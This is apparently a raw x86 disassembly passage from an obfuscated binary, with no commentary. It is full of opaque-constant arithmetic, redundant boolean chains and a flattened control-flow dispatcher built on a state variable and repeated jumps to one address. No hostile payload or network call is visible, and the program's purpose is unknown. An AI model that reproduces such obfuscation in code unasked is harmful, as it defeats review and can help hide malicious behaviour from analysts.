mov al, 1
xor al, 0
mov byte [ebp - 0x79a], al
mov al, 1
xor al, 0
mov byte [ebp - 0x799], al
mov al, byte [ebp - 0x79a]
or cl, al
mov al, byte [ebp - 0x799]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x78e]
mov byte [ebp - 0x791], cl
xor bh, 0xff
xor al, 0xff
mov cl, 1
xor cl, 1
or bh, al
mov al, byte [ebp - 0x798]
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, byte [ebp - 0x797]
mov byte [ebp - 0x790], bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x793], bh
xor cl, 0xff
mov byte [ebp - 0x794], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x792], cl
and bh, 0xff
and al, cl
mov cl, byte [ebp - 0x797]
mov byte [ebp - 0x796], al
mov al, byte [ebp - 0x794]
and al, 0xff
mov byte [ebp - 0x795], al
mov al, byte [ebp - 0x792]
and cl, al
mov al, byte [ebp - 0x796]
or bh, al
mov al, byte [ebp - 0x795]
or al, cl
mov cl, byte [ebp - 0x794]
xor bh, al
mov al, byte [ebp - 0x793]
or al, cl
mov cl, byte [ebp - 0x792]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x790]
or bh, al
mov al, byte [ebp - 0x791]
and al, cl
mov cl, byte [ebp - 0x791]
mov byte [ebp - 0x78f], al
mov al, byte [ebp - 0x790]
xor cl, al
mov al, byte [ebp - 0x78f]
or al, cl
mov byte [ebp - 0x78d], al
mov cl, bh
xor cl, 0xff
and al, cl
mov cl, byte [ebp - 0x78e]
mov byte [ebp - 0x78c], al
mov al, byte [ebp - 0x78d]
xor al, 0xff
and bh, al
mov al, byte [ebp - 0x78c]
or al, bh
mov byte [ebp - 0x787], al
mov al, dl
and al, bl
xor dl, bl
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and al, bl
or dl, al
mov bl, 1
xor bl, 0
mov byte [ebp - 0x789], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x788], al
mov bh, 1
xor bh, 0
and bl, 0
mov al, bh
and al, 0
mov byte [ebp - 0x78b], al
mov al, byte [ebp - 0x788]
and al, 0
mov byte [ebp - 0x78a], al
mov al, byte [ebp - 0x78b]
and cl, bh
or bl, al
mov al, byte [ebp - 0x78a]
or al, cl
mov cl, byte [ebp - 0x789]
xor bl, al
mov al, byte [ebp - 0x788]
or cl, al
mov al, byte [ebp - 0x787]
xor cl, 0xff
or bh, 0
and cl, bh
or bl, cl
xor bl, 0xff
mov cl, dl
xor cl, bl
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, dh
xor cl, 0xff
mov bl, ah
xor bl, 0xff
mov al, 1
xor al, 1
or cl, bl
or al, 1
xor cl, 0xff
and cl, al
mov bh, dh
xor bh, 0xff
and bh, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or bh, dh
or al, ah
xor bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x786], al
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and al, 0
and cl, ah
mov bl, dh
and bl, 0
and bh, ah
or al, cl
mov cl, byte [ebp - 0x786]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov byte [ebp - 0x785], al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or dh, cl
mov cl, 1
xor cl, 0
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or bh, bl
or ah, dh
xor bh, ah
mov ah, bh
xor ah, 0xff
mov bl, dl
xor bl, ah
and bl, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and al, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ah, al
mov al, byte [ebp - 0x785]
or dl, dh
xor ah, dl
mov dh, 1
xor dh, 0
mov dl, ah
xor dl, dh
mov dh, byte [ebp - 0x784]
and dl, ah
xor bh, 0xff
mov ah, al
xor ah, bh
and ah, al
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, dh
or al, ah
xor cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov al, ch
and al, dh
or ah, al
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bh, bl
or al, dh
xor bh, al
mov byte [ebp - 0x780], bh
mov dh, cl
xor dh, 0xff
mov al, 1
xor al, 0
mov bl, 1
xor bl, 1
or dh, al
mov al, byte [ebp - 0x784]
or bl, 1
xor dh, 0xff
and dh, bl
xor bh, 0xff
mov bl, al
xor bl, bh
and bl, al
mov bh, ah
xor bh, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x783], al
mov al, 1
xor al, 1
mov byte [ebp - 0x782], al
mov al, byte [ebp - 0x783]
or bh, al
mov al, byte [ebp - 0x782]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x780]
mov byte [ebp - 0x781], bh
xor ch, 0xff
xor al, 0xff
mov bh, 1
xor bh, 0
or ch, al
mov al, byte [ebp - 0x781]
or bh, 0
xor ch, 0xff
and ch, bh
mov bh, dh
and bh, bl
xor dh, bl
or bh, dh
mov bl, al
and bl, ch
xor al, ch
or bl, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x780]
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0x77d], ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov cl, 1
xor cl, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, cl
and ch, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x77f], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x77e], al
mov al, byte [ebp - 0x77f]
or ch, al
mov al, byte [ebp - 0x77e]
or bh, al
mov al, byte [ebp - 0x77d]
xor ch, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ah
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
xor ah, 0xff
mov ch, bl
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, 1
xor ch, 1
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x77c], ah
mov bl, ch
xor bl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov bh, bl
and bh, 0
and ch, cl
or ah, al
mov al, byte [ebp - 0x77c]
or bh, ch
mov ch, byte [ebp - 0x77b]
xor ah, bh
or al, bl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or cl, dh
or al, ah
xor cl, al
mov al, 1
xor al, 0
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov dh, 1
xor dh, 0
mov ah, ch
and ah, dh
xor ch, 0xff
and ch, 0
or ah, ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, cl
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5ca770ce
mov ecx, 0x2490c2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
xor edx, edx
sub edx, 0x3a8e687e
sub edx, 0xd13607ff
add edx, 0x3a8e687e
xor ecx, ecx
sub ecx, edx
sub eax, ecx
add eax, 0x3ca1c4dd
add eax, 0xc4147af5
sub eax, 0x3ca1c4dd
xor ecx, ecx
sub ecx, 1
sub eax, ecx
sub eax, 0x8fc1c8ac
sub eax, 0xc4147af5
add eax, 0x8fc1c8ac
xor ecx, ecx
sub ecx, 0xd13607ff
add ecx, 0
sub eax, 0x1303164
sub eax, ecx
add eax, 0x1303164
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x1ec], 0xd2030ddf
jmp 0x48b820
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x1ec], 0xfa651665
jmp 0x48b820
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0xb54a65d0
add ecx, eax
add ecx, 0x90704cf2
sub ecx, 0x7caccc07
sub ecx, 0x90704cf2
add ecx, 0xe3d69d0d
add ecx, 0xb54a65d0
sub ecx, 0xe3d69d0d
mov eax, 0x928334c2
add eax, 0
sub eax, ecx
sub eax, 0x928334c2
xor ecx, ecx
sub ecx, 1
add ecx, 0
sub eax, 0xe673e2cd
add eax, ecx
add eax, 0xe673e2cd
mov ecx, 0xc60bf0f8
add ecx, 0
sub ecx, eax
sub ecx, 0xc60bf0f8
xor eax, eax
sub eax, ecx
add eax, 0
xor edx, edx
sub edx, 0x90b6a21b
sub edx, 0x7caccc07
add edx, 0x90b6a21b
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x5dd4ed9d
add ecx, 0
sub ecx, eax
sub ecx, 0x5dd4ed9d
mov eax, dword [ebp - 0x1a8]
mov dword [eax], ecx
mov eax, dword [0x5e6bac]
mov ecx, dword [0x5e6ba8]
mov edx, eax
add edx, 0xc5beb470
sub edx, 0x9203d3b9
sub edx, 0xc5beb470
add edx, 0x1c4e07fd
sub edx, 0xb62034c1
sub edx, 0x1c4e07fd
sub edx, 0x304928da
add edx, 0x9203d3b9
add edx, 0x304928da
xor esi, esi
sub esi, 0xf8211251
sub esi, 1
add esi, 0xf8211251
sub edx, 0xa677d043
add edx, esi
add edx, 0xa677d043
sub edx, 0x99a7006
add edx, 0x3f0f28d9
add edx, 0x99a7006
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xb62034c1
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xb34d8bda
sub edx, 0x3f0f28d9
add edx, 0xb34d8bda
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl cl
mov dl, ah
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov dh, ah
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, cl
and al, dh
or ch, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
and dh, 0
or al, dh
mov bl, dl
and bl, ch
xor dl, ch
or bl, dl
mov ch, 1
xor ch, 0
mov byte [ebp - 0x7bc], ch
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
mov bh, dl
and bh, 0
mov byte [ebp - 0x7be], bh
mov bh, dh
and bh, 0xff
and al, dl
mov byte [ebp - 0x7bd], al
mov al, byte [ebp - 0x7be]
or ch, al
mov al, byte [ebp - 0x7bd]
or bh, al
mov al, byte [ebp - 0x7bc]
xor ch, bh
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bl
or al, dh
xor dl, al
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov bl, ah
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
xor ch, 0xff
mov dl, cl
xor dl, ch
and dl, cl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and cl, dh
or ch, cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or ah, ch
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x51cd85ce
mov ecx, 0x14a799e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor esi, esi
sub esi, 0x810c2c59
sub esi, 0xa528f6bb
add esi, 0x810c2c59
mov edx, ecx
sub edx, 0x76184254
add edx, esi
add edx, 0x76184254
add edx, 0xa805e56b
add edx, 0x368b804
sub edx, 0xa805e56b
sub edx, 0x720e260a
sub edx, 1
add edx, 0x720e260a
sub edx, 0x25758e46
sub edx, 0x368b804
add edx, 0x25758e46
xor esi, esi
sub esi, 0xfa3c0dc5
sub esi, 0xa528f6bb
add esi, 0xfa3c0dc5
sub edx, 0xb456f3bc
sub edx, esi
add edx, 0xb456f3bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, dl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov dh, dl
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bl
or al, dh
or cl, ch
xor al, cl
xor al, 0xff
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, dl
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dh, bl
or cl, ch
xor dh, cl
mov cl, ah
xor cl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
or ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ch, cl
mov byte [ebp - 0x7ee], ch
mov bh, ah
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, dh
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
xor ch, 0xff
mov dh, 1
xor dh, 1
mov dl, 1
xor dl, 0
or ch, dh
or dl, 0
xor ch, 0xff
and ch, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, 1
xor al, 1
mov dl, bh
xor dl, al
and dl, bh
mov al, cl
xor al, 0xff
mov dh, ah
xor dh, al
mov al, byte [ebp - 0x7ee]
and dh, ah
mov ah, ch
and ah, bl
xor ch, bl
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x7ed], dl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x7ed]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x260b984d
mov ecx, 0xe3a97686
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, 0xf5beef32
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xaadb81d6
sub edx, 0xa110dbc7
sub edx, 0xaadb81d6
xor esi, esi
sub esi, 0xf5beef32
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x84e67a3
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xfb89e0be
sub edx, 1
sub edx, 0xfb89e0be
sub edx, 0x1cca3b62
sub edx, 0x84e67a3
add edx, 0x1cca3b62
sub edx, 0x23e28167
add edx, 0xc94f41f8
add edx, 0x23e28167
sub edx, 0x4a570f4f
add edx, 0xa110dbc7
add edx, 0x4a570f4f
xor esi, esi
sub esi, 0xc94f41f8
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0x823], dl
cmp eax, 0xa
setl ch
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ah, bl
or al, dh
xor ah, al
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x7fb], al
mov bh, ch
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov bl, ch
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bl
or dl, dh
xor al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x827], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x826], al
mov al, byte [ebp - 0x827]
or al, cl
mov cl, byte [ebp - 0x826]
or bh, cl
mov cl, byte [ebp - 0x7fb]
xor al, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or al, dl
mov byte [ebp - 0x7fa], al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
mov byte [ebp - 0x822], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
mov bl, dl
and bl, 0
and al, dh
mov byte [ebp - 0x825], al
mov al, bh
and al, 0
mov byte [ebp - 0x824], al
mov al, byte [ebp - 0x825]
and cl, dh
or bl, al
mov al, byte [ebp - 0x824]
or al, cl
mov cl, byte [ebp - 0x823]
xor bl, al
mov al, byte [ebp - 0x822]
or dl, bh
xor dl, 0xff
or dh, 0
and dl, dh
or bl, dl
mov dh, al
and dh, 1
xor al, 1
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov dl, 1
xor dl, 1
and dl, 0xff
and bh, 1
or al, bl
mov bl, byte [ebp - 0x7fa]
or dl, bh
xor al, dl
xor al, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or al, dh
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0x811], al
mov dh, bl
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and bl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, bl
or al, dl
xor dh, al
mov al, cl
xor al, 0xff
mov dl, dh
and dl, al
xor dh, 0xff
mov al, cl
and al, dh
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, ah
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, ah
and cl, dh
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
mov bl, 1
xor bl, 1
and bl, 1
mov dh, 1
xor dh, 1
and dh, 1
or bl, dh
mov byte [ebp - 0x821], bl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, 1
xor al, 1
mov byte [ebp - 0x81c], al
xor bl, 0xff
mov dh, 1
xor dh, 0
and al, 0
mov byte [ebp - 0x820], al
mov cl, dh
and cl, 1
mov al, bl
and al, 0
mov byte [ebp - 0x81e], al
mov al, byte [ebp - 0x821]
and al, dh
mov byte [ebp - 0x81f], al
mov al, byte [ebp - 0x820]
or al, cl
mov cl, byte [ebp - 0x81f]
mov byte [ebp - 0x81d], al
mov al, byte [ebp - 0x81e]
or al, cl
mov cl, byte [ebp - 0x81d]
xor cl, al
mov al, byte [ebp - 0x81c]
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or cl, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or al, bh
mov bh, byte [ebp - 0x7fa]
or dh, bl
xor al, dh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov dh, ch
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, ch
or al, cl
xor dh, al
mov al, bh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and bh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, bh
or cl, ch
xor al, cl
mov byte [ebp - 0x81b], al
mov cl, 1
xor cl, 0
and cl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x81b]
or ch, bh
xor cl, ch
mov byte [ebp - 0x817], cl
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x818], bh
mov ch, al
xor ch, 0xff
mov cl, 1
xor cl, 1
and bh, 0xff
and dh, cl
mov byte [ebp - 0x81a], dh
mov dh, ch
and dh, 0xff
and al, cl
mov byte [ebp - 0x819], al
mov al, byte [ebp - 0x81a]
or bh, al
mov al, byte [ebp - 0x819]
or dh, al
mov al, byte [ebp - 0x818]
xor bh, dh
mov dh, byte [ebp - 0x817]
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or bh, al
mov al, 1
xor al, 0
mov byte [ebp - 0x812], al
xor dh, 0xff
mov ch, 1
xor ch, 0
and al, 0
mov byte [ebp - 0x816], al
mov cl, ch
and cl, 0
mov al, dh
and al, 0
mov byte [ebp - 0x814], al
mov al, byte [ebp - 0x817]
and al, ch
mov byte [ebp - 0x815], al
mov al, byte [ebp - 0x816]
or al, cl
mov cl, byte [ebp - 0x815]
mov byte [ebp - 0x813], al
mov al, byte [ebp - 0x814]
or al, cl
mov cl, byte [ebp - 0x813]
xor cl, al
mov al, byte [ebp - 0x812]
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or cl, al
mov dh, bh
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
and bh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bh
mov bh, byte [ebp - 0x811]
or al, ch
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and bh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or al, bh
or cl, ch
xor al, cl
mov byte [ebp - 0x810], al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, dl
and cl, ch
or al, cl
mov byte [ebp - 0x80a], al
mov cl, 1
xor cl, 0
and cl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x811]
or ch, bh
mov bh, byte [ebp - 0x810]
xor cl, ch
mov byte [ebp - 0x805], cl
mov cl, 1
xor cl, 0
mov ch, bh
xor ch, cl
mov cl, byte [ebp - 0x805]
and ch, bh
xor al, 0xff
xor cl, 0xff
mov bh, 1
xor bh, 1
or al, cl
mov cl, byte [ebp - 0x810]
or bh, 1
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x80a]
mov byte [ebp - 0x80d], al
xor bh, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x80f], al
mov al, 1
xor al, 1
mov byte [ebp - 0x80e], al
mov al, byte [ebp - 0x80f]
or bh, al
mov al, byte [ebp - 0x80e]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x805]
mov byte [ebp - 0x80c], bh
xor dl, 0xff
xor al, 0xff
mov bh, 1
xor bh, 1
or dl, al
mov al, byte [ebp - 0x80d]
or bh, 1
xor dl, 0xff
and dl, bh
mov bh, ch
and bh, al
xor ch, al
mov al, byte [ebp - 0x80c]
or bh, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov al, bh
xor al, 0xff
and al, 1
mov byte [ebp - 0x80b], al
mov al, 1
xor al, 1
and bh, al
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, al
mov al, byte [ebp - 0x80b]
or al, bh
mov bh, byte [ebp - 0x80a]
or dl, ch
xor al, dl
mov byte [ebp - 0x800], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x809], al
and cl, ch
mov al, bh
and al, 0xff
mov byte [ebp - 0x808], al
